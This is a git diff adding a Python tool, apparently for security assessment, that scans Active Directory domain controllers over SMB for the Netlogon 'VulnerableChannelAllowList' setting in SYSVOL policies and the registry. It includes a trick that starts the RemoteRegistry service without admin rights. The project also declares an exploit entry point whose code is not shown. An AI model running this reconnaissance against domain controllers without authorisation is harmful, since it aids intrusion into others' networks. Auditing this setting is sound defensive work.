"sha256:8a4fcd42ccb04c31268d1efeecfccfd1249612b4de6374205376b8f280321744"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:55ccbe27f049743a4caf4f4221b166560d3438d0b1e5ab929e07ae1702a4d6fd"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-win32.whl", hash = "sha256:189afbc87f0b9f158386bf051f720e20fa6145975f1e76369303d0f31d1a8d7c"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:52e5ca58c3a0b0bd5e100a9fbc8015059b05cffc6c66ce9d98b4b45e023443b9"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:02d87b80778c171445d67e23d1caef279bf4b25c3597050ccd2e13970b57fd51"}, + {file = "pycryptodomex-3.23.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:febec69c0291efd056c65691b6d9a339f8b4bc43c6635b8699471248fe897fea"}, + {file = "pycryptodomex-3.23.0-pp27-pypy_73-win32.whl", hash = "sha256:c84b239a1f4ec62e9c789aafe0543f0594f0acd90c8d9e15bcece3efe55eca66"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ebfff755c360d674306e5891c564a274a47953562b42fb74a5c25b8fc1fb1cb5"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eca54f4bb349d45afc17e3011ed4264ef1cc9e266699874cdd1349c504e64798"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2596e643d4365e14d0879dc5aafe6355616c61c2176009270f3048f6d9a61f"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fdfac7cda115bca3a5abb2f9e43bc2fb66c2b65ab074913643803ca7083a79ea"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:14c37aaece158d0ace436f76a7bb19093db3b4deade9797abfc39ec6cd6cc2fe"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7de1e40a41a5d7f1ac42b6569b10bcdded34339950945948529067d8426d2785"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bffc92138d75664b6d543984db7893a628559b9e78658563b0395e2a5fb47ed9"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:df027262368334552db2c0ce39706b3fb32022d1dce34673d0f9422df004b96a"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4e79f1aaff5a3a374e92eb462fa9e598585452135012e2945f96874ca6eeb1ff"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:27e13c80ac9a0a1d050ef0a7e0a18cc04c8850101ec891815b6c5a0375e8a245"}, + {file = "pycryptodomex-3.23.0.tar.gz", hash = "sha256:71909758f010c82bc99b0abf4ea12012c98962fbf0583c2164f8b84533c2e4da"}, +] + +[[package]] +name = "pyopenssl" +version = "24.0.0" +description = "Python wrapper module around the OpenSSL library" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "pyOpenSSL-24.0.0-py3-none-any.whl", hash = "sha256:ba07553fb6fd6a7a2259adb9b84e12302a9a8a75c44046e8bb5d3e5ee887e3c3"}, + {file = "pyOpenSSL-24.0.0.tar.gz", hash = "sha256:6aa33039a93fffa4563e655b61d11364d01264be8ccb49906101e02a334530bf"}, +] + +[package.dependencies] +cryptography = ">=41.0.5,<43" + +[package.extras] +docs = ["sphinx (!=5.2.0,!=5.2.0.post0,!=7.2.5)", "sphinx-rtd-theme"] +test = ["flaky", "pretend", "pytest (>=3.0.1)"] + +[[package]] +name = "pyreadline3" +version = "3.5.4" +description = "A python implementation of GNU readline." +optional = false +python-versions = ">=3.8" +groups = ["main"] +markers = "sys_platform == \"win32\"" +files = [ + {file = "pyreadline3-3.5.4-py3-none-any.whl", hash = "sha256:eaf8e6cc3c49bcccf145fc6067ba8643d1df34d604a1ec0eccbf7a18e6d3fae6"}, + {file = "pyreadline3-3.5.4.tar.gz", hash = "sha256:8d57d53039a1c75adba8e50dd3d992b28143480816187ea5efbd5c78e6c885b7"}, +] + +[package.extras] +dev = ["build", "flake8", "mypy", "pytest", "twine"] + +[[package]] +name = "ruff" +version = "0.12.8" +description = "An extremely fast Python linter and code formatter, written in Rust." +optional = false +python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "ruff-0.12.8-py3-none-linux_armv6l.whl", hash = "sha256:63cb5a5e933fc913e5823a0dfdc3c99add73f52d139d6cd5cc8639d0e0465513"}, + {file = "ruff-0.12.8-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9a9bbe28f9f551accf84a24c366c1aa8774d6748438b47174f8e8565ab9dedbc"}, + {file = "ruff-0.12.8-py3-none-macosx_11_0_arm64.whl", hash = "sha256:2fae54e752a3150f7ee0e09bce2e133caf10ce9d971510a9b925392dc98d2fec"}, + {file = "ruff-0.12.8-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c0acbcf01206df963d9331b5838fb31f3b44fa979ee7fa368b9b9057d89f4a53"}, + {file = "ruff-0.12.8-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ae3e7504666ad4c62f9ac8eedb52a93f9ebdeb34742b8b71cd3cccd24912719f"}, + {file = "ruff-0.12.8-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cb82efb5d35d07497813a1c5647867390a7d83304562607f3579602fa3d7d46f"}, + {file = "ruff-0.12.8-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:dbea798fc0065ad0b84a2947b0aff4233f0cb30f226f00a2c5850ca4393de609"}, + {file = "ruff-0.12.8-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:49ebcaccc2bdad86fd51b7864e3d808aad404aab8df33d469b6e65584656263a"}, + {file = "ruff-0.12.8-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ac9c570634b98c71c88cb17badd90f13fc076a472ba6ef1d113d8ed3df109fb"}, + {file = "ruff-0.12.8-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:560e0cd641e45591a3e42cb50ef61ce07162b9c233786663fdce2d8557d99818"}, + {file = "ruff-0.12.8-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:71c83121512e7743fba5a8848c261dcc454cafb3ef2934a43f1b7a4eb5a447ea"}, + {file = "ruff-0.12.8-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:de4429ef2ba091ecddedd300f4c3f24bca875d3d8b23340728c3cb0da81072c3"}, + {file = "ruff-0.12.8-py3-none-musllinux_1_2_i686.whl", hash = "sha256:a2cab5f60d5b65b50fba39a8950c8746df1627d54ba1197f970763917184b161"}, + {file = "ruff-0.12.8-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:45c32487e14f60b88aad6be9fd5da5093dbefb0e3e1224131cb1d441d7cb7d46"}, + {file = "ruff-0.12.8-py3-none-win32.whl", hash = "sha256:daf3475060a617fd5bc80638aeaf2f5937f10af3ec44464e280a9d2218e720d3"}, + {file = "ruff-0.12.8-py3-none-win_amd64.whl", hash = "sha256:7209531f1a1fcfbe8e46bcd7ab30e2f43604d8ba1c49029bb420b103d0b5f76e"}, + {file = "ruff-0.12.8-py3-none-win_arm64.whl", hash = "sha256:c90e1a334683ce41b0e7a04f41790c429bf5073b62c1ae701c9dc5b3d14f0749"}, + {file = "ruff-0.12.8.tar.gz", hash = "sha256:4cb3a45525176e1009b2b64126acf5f9444ea59066262791febf55e40493a033"}, +] + +[[package]] +name = "setuptools" +version = "80.9.0" +description = "Easily download, build, install, upgrade, and uninstall Python packages" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "setuptools-80.9.0-py3-none-any.whl", hash = "sha256:062d34222ad13e0cc312a4c02d73f059e86a4acbfbdea8f8f76b28c99f306922"}, + {file = "setuptools-80.9.0.tar.gz", hash = "sha256:f36b47402ecde768dbfafc46e8e4207b4360c654f1f3bb84475f0a28628fb19c"}, +] + +[package.extras] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.8.0) ; sys_platform != \"cygwin\""] +core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] +enabler = ["pytest-enabler (>=2.2)"] +test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] +type = ["importlib_metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.14.*)", "pytest-mypy"] + +[[package]] +name = "six" +version = "1.17.0" +description = "Python 2 and 3 compatibility utilities" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +groups = ["main"] +files = [ + {file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"}, + {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, +] + +[[package]] +name = "termcolor" +version = "3.1.0" +description = "ANSI color formatting for output in terminal" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "termcolor-3.1.0-py3-none-any.whl", hash = "sha256:591dd26b5c2ce03b9e43f391264626557873ce1d379019786f99b0c2bee140aa"}, + {file = "termcolor-3.1.0.tar.gz", hash = "sha256:6a6dd7fbee581909eeec6a756cff1d7f7c376063b14e4a298dc4980309e55970"}, +] + +[package.extras] +tests = ["pytest", "pytest-cov"] + +[[package]] +name = "werkzeug" +version = "3.1.3" +description = "The comprehensive WSGI web application library." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "werkzeug-3.1.3-py3-none-any.whl", hash = "sha256:54b78bf3716d19a65be4fceccc0d1d7b89e608834989dfae50ea87564639213e"}, + {file = "werkzeug-3.1.3.tar.gz", hash = "sha256:60723ce945c19328679790e3282cc758aa4a6040e4bb330f53d30fa546d44746"}, +] + +[package.dependencies] +MarkupSafe = ">=2.1.1" + +[package.extras] +watchdog = ["watchdog (>=2.3)"] + +[metadata] +lock-version = "2.1" +python-versions = ">=3.12" +content-hash = "432836b982e90c1de89022d13a0dca8ab096ee7792d4bbebe42d12aebbc4d1a8" diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..72229f4 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,72 @@ +[project] +name = "onelogon" +version = "1.0.0" +description = "" +authors = [ + {name = "Alexander Neff", email = "alex99.neff@gmx.de"} +] +license = {text = "MIT"} +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "impacket (>=0.13.0)", + "termcolor (>=3.1.0,<4.0.0)", +] + +[project.urls] +homepage = "https://github.com/NeffIsBack/onelogon" +repository = "https://github.com/Pennyw0rth/onelogon" + +[project.scripts] +onelogon-scanner = "scanner.scanner:main" +scan = "scanner.scanner:main" +onelogon = "exploit.onelogon:main" +ol = "exploit.onelogon:main" + +[tool.poetry] +packages = [ + { include = "scanner" }, + { include = "exploit" } +] + +[tool.poetry.group.dev.dependencies] +ruff = "*" + +[build-system] +requires = ["poetry-core>=2.0.0,<3.0.0"] +build-backend = "poetry.core.masonry.api" + +[tool.ruff] +target-version = "py313" +exclude = [ + ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", + ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", + "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" +] +preview = true + +[tool.ruff.lint] +select = [ + "E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", + "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "LOG", "RUF", "W" +] +ignore = [ + "A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", + "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", + "D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508", + "PERF203", "RUF012", "RUF052", "RUF059" +] + +# THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings +# Allow autofix for all enabled rules (when `--fix`) is provided. +fixable = ["ALL"] +unfixable = [] +per-file-ignores = {} + +# Allow unused variables when underscore-prefixed. +dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" + +[tool.ruff.lint.flake8-quotes] +docstring-quotes = "double" +inline-quotes = "double" +multiline-quotes = "double" diff --git a/scanner/lib/logger.py b/scanner/lib/logger.py new file mode 100644 index 0000000..98dd15a --- /dev/null +++ b/scanner/lib/logger.py @@ -0,0 +1,83 @@ + +import logging +import sys +from termcolor import colored + + +# Stolen from wsuks +class Formatter(logging.Formatter): + """Prefixing logged messages through the custom attribute 'bullet'.""" + + def __init__(self): + logging.Formatter.__init__(self, "%(bullet)s %(message)s", None) + + def format(self, record): + if record.levelno == logging.DEBUG: + record.bullet = colored("DEBUG", "magenta", attrs=["bold"]) + elif record.levelno == logging.INFO: + record.bullet = colored("[*]", "blue", attrs=["bold"]) + elif record.levelno == logging.SUCCESS: + record.bullet = colored("[+]", "green", attrs=["bold"]) + elif record.levelno == logging.WARNING: + record.bullet = colored("[!]", "yellow", attrs=["bold"]) + elif record.levelno == logging.ERROR: + record.bullet = colored("[-]", "red", attrs=["bold"]) + elif record.levelno == logging.CRITICAL: + record.bullet = colored("[CRITICAL]", "red", attrs=["bold", "reverse"]) + elif record.levelno: + record.bullet = "[ERROR]" + + return logging.Formatter.format(self, record) + + +class FormatterTimeStamp(Formatter): + """Prefixing logged messages through the custom attribute 'bullet'.""" + + def __init__(self): + logging.Formatter.__init__(self, "[%(asctime)-15s] %(bullet)s %(message)s", None) + + def formatTime(self, record, datefmt=None): + return Formatter.formatTime(self, record, datefmt="%Y-%m-%d %H:%M:%S") + + +def addSuccessLogLevel(logger): + logging.SUCCESS = 25 # between WARNING and INFO + logging.addLevelName(logging.SUCCESS, "SUCCESS") + + def success(self, msg, *args, **kwargs): + logger._log(25, msg, args, **kwargs) + logging.getLoggerClass().success = success + + +def initLogger(ts=False, debug=False): + """ + Initialize logger with specified logging level, add formatter, handler and success log level + + :param ts: Add timestamp to log messages + :param debug: Set logging level to DEBUG + :return: logger + """ + handler = logging.StreamHandler(sys.stdout) + if ts: + handler.setFormatter(FormatterTimeStamp()) + else: + handler.setFormatter(Formatter()) + + logger = logging.getLogger("onelogon") + logger.propagate = False + root_logger = logging.getLogger() + + logger.addHandler(handler) + root_logger.addHandler(handler) + + if debug: + logger.setLevel(logging.DEBUG) + root_logger.setLevel(logging.DEBUG) + else: + logger.setLevel(logging.INFO) + root_logger.setLevel(logging.INFO) + + addSuccessLogLevel(logger) + addSuccessLogLevel(root_logger) + + return logger diff --git a/scanner/lib/regchecker.py b/scanner/lib/regchecker.py new file mode 100644 index 0000000..91bd2a0 --- /dev/null +++ b/scanner/lib/regchecker.py @@ -0,0 +1,42 @@ +import logging +import time +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations +from impacket.smbconnection import SMBConnection, SessionError + + +class RegChecker: + def __init__(self, conn: SMBConnection): + self.logger = logging.getLogger("onelogon") + self.conn = conn + + def crawl(self): + self.trigger_winreg() + try: + remoteOps = RemoteOperations(self.conn, False) + remoteOps.enableRegistry() + + regHandle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"] + keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters")["phkResult"] + value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "VulnerableChannelAllowList")[1].rstrip("\x00") + self.logger.success(f"Found VulnerableChannelAllowList registry configuration: {value}") + except Exception as e: + self.logger.error(f"Error while querying registry: {e}") + + def trigger_winreg(self): + # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 + # Basically triggers the RemoteRegistry to start without admin privs + tid = self.conn.connectTree("IPC$") + try: + self.conn.openFile( + tid, + r"\winreg", + 0x12019F, + creationOption=0x40, + fileAttributes=0x80, + ) + except SessionError as e: + # STATUS_PIPE_NOT_AVAILABLE error is expected + self.logger.debug(str(e)) + # Give remote registry time to start + time.sleep(1) diff --git a/scanner/lib/smb.py b/scanner/lib/smb.py new file mode 100644 index 0000000..d7254cf --- /dev/null +++ b/scanner/lib/smb.py @@ -0,0 +1,49 @@ +import contextlib +import logging +import sys +import traceback +from impacket.smbconnection import SMBConnection + + +class SMB: + def __init__(self): + self.logger = logging.getLogger("onelogon") + self.conn = None + + def _createSMBConnection(self, domain, username, password, dcIp, kerberos=False, dcName="", lmhash="", nthash="", aesKey=""): + """Create a SMB connection to the target""" + if not domain: + with contextlib.suppress(Exception): + conn = SMBConnection(remoteName=dcIp, remoteHost=dcIp, sess_port=445) + conn.login("", "") + domain = conn.getServerDNSDomainName() + conn.logoff() + conn.close() + try: + if kerberos: + self.conn = SMBConnection(remoteName=dcName, remoteHost=dcIp, sess_port=445) + else: + self.conn = SMBConnection(remoteName=dcIp, remoteHost=dcIp, sess_port=445) + + if kerberos is True: + self.conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, dcIp, useCache=False) + else: + self.conn.login(username, password, domain, lmhash, nthash) + if self.conn.isGuestSession() > 0: + self.logger.debug("GUEST Session Granted") + else: + self.logger.debug("USER Session Granted") + except Exception as e: + self.logger.error(f"Error: {e}") + self.logger.debug(traceback.format_exc()) + self.logger.error("Failed to establish SMB connection. Exiting...") + exit(1) + + def get_smb_connection(self, domain, username, password, dcIp, kerberos=False, dcName="", lmhash="", nthash="", aesKey=""): + if not password and not lmhash and not nthash and not aesKey: + self.logger.error("Error: At least one of Password, LM Hash, NT Hash or AES Key is required to connect to the SYSVOL Share. Exiting...") + sys.exit(1) + + if not self.conn: + self._createSMBConnection(domain, username, password, dcIp, kerberos, dcName, lmhash, nthash, aesKey) + return self.conn diff --git a/scanner/lib/sysvolparser.py b/scanner/lib/sysvolparser.py new file mode 100644 index 0000000..2090f8d --- /dev/null +++ b/scanner/lib/sysvolparser.py @@ -0,0 +1,76 @@ +import logging +import traceback +from impacket.smbconnection import SMBConnection, SessionError +from configparser import ConfigParser + + +class SysvolParser: + def __init__(self, conn: SMBConnection): + self.logger = logging.getLogger("onelogon") + self.conn = conn + self.domain = conn.getServerDNSDomainName() + self.share = "SYSVOL" + + def _find_vulnchannellist(self): + def output_callback(data): + self.gpo_data += data + + found_dacls = [] + + policies = self.conn.listPath("SYSVOL", f"{self.domain}/Policies/*") + for policy in policies: + # Skip "." and ".." directory pointers to avoid path errors + if policy.get_longname() in [".", ".."]: + continue + + try: + self.gpo_data = b"" + self.conn.getFile("SYSVOL", f"{self.domain}/Policies/{policy.get_longname()}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf", output_callback) + + try: + decoded_data = self.gpo_data.decode("utf-8") + except UnicodeDecodeError: + self.logger.debug(f"Failed to decode GPO data for policy {policy.get_shortname()} as UTF-8, trying UTF-16...") + decoded_data = self.gpo_data.decode("utf-16") + + # Use strict=False and interpolation=None to safely handle Windows INI quirks and % variables. + # Some sections (e.g. [Service General Setting]) use value-less CSV-style rows like: + # "WinRM",2,"" + # which require allow_no_value=True to avoid ParsingError. + config_parser = ConfigParser(strict=False, interpolation=None, allow_no_value=True) + config_parser.read_string(decoded_data) + + for section in config_parser.sections(): + for key, value in config_parser.items(section): + if key == "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\\VulnerableChannelAllowList".lower(): + self.logger.debug(f"Found vulnerable channel allow list: {value}") + try: + # Strip the surrounding double quotes from the extracted string + found_dacls.append({"name": policy.get_shortname(), "data": value[2:].strip('"')}) + except Exception as e: + self.logger.error(f"Could not parse Registry Policy (error: {e}): {section} {key} {value}") + except SessionError as e: + # Catch and safely ignore expected "file not found" errors for policies without security settings + if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e) or "STATUS_NO_SUCH_FILE" in str(e): + pass + else: + self.logger.debug(f"SMB Session Error reading policy {policy.get_shortname()}: {e}") + except Exception as e: + self.logger.error(f"Error parsing policy {policy.get_shortname()}, {e.__class__.__name__}: {e}") + if self.logger.level == logging.DEBUG: + traceback.print_exc() + + if found_dacls: + self.logger.success(f"Found {len(found_dacls)} matching policies in SYSVOL Share.") + for dacl in found_dacls: + self.logger.success(f"Found vulnerable channel allow list in policy '{dacl['name']}': '{dacl['data']}'") + else: + self.logger.error("No matching policies found in SYSVOL Share.") + + def crawl(self) -> tuple[str, int]: + try: + self._find_vulnchannellist() + except Exception as e: + self.logger.error(f"Error while crawling SYSVOL Share: {e}") + if self.logger.level == logging.DEBUG: + traceback.print_exc() diff --git a/scanner/scanner.py b/scanner/scanner.py new file mode 100644 index 0000000..1c0da06 --- /dev/null +++ b/scanner/scanner.py @@ -0,0 +1,52 @@ +import argparse +import contextlib +from pprint import pformat +from scanner.lib.regchecker import RegChecker +from scanner.lib.smb import SMB +from scanner.lib.sysvolparser import SysvolParser +from scanner.lib.logger import initLogger + + +def main(): + parser = argparse.ArgumentParser(description="onelogon configuration Scanner") + parser.add_argument("-v", "--version", action="version", version="Current Version: %(prog)s 2.0") + parser.add_argument("--debug", action="store_true", help="Enable debug output") + parser.add_argument("-ts", "--timestamp", action="store_true", help="Add timestamp to log messages") + + auth = parser.add_argument_group("Authentication") + auth.add_argument("--dc-ip", metavar="", required=True, dest="dcIp", help="IP Address of the domain controller") + auth.add_argument("-u", "--username", metavar="", required=True, help="Username to authenticate with") + auth.add_argument("-p", "--password", metavar="", help="Password to authenticate with") + auth.add_argument("-d", "--domain", metavar="", help="Domain to authenticate with") + auth.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication instead of NTLM") + auth.add_argument("--dc-name", metavar="", dest="dcName", help="Domain Controller Name to authenticate with, required for Kerberos authentication", required=parser.parse_known_args()[0].kerberos) + + args = parser.parse_args() + + logger = initLogger(ts=args.timestamp, debug=args.debug) + logger.debug("Passed args:\n" + pformat(vars(args))) + + smb = SMB() + conn = smb.get_smb_connection( + domain=args.domain, + username=args.username, + password=args.password, + dcIp=args.dcIp, + kerberos=args.kerberos, + dcName=args.dcName + ) + if not conn: + logger.error("Failed to establish SMB connection. Exiting...") + return + scanner = SysvolParser(conn) + scanner.crawl() + regchecker = RegChecker(conn) + regchecker.crawl() + + with contextlib.suppress(Exception): + conn.logoff() + conn.close() + + +if __name__ == "__main__": + main()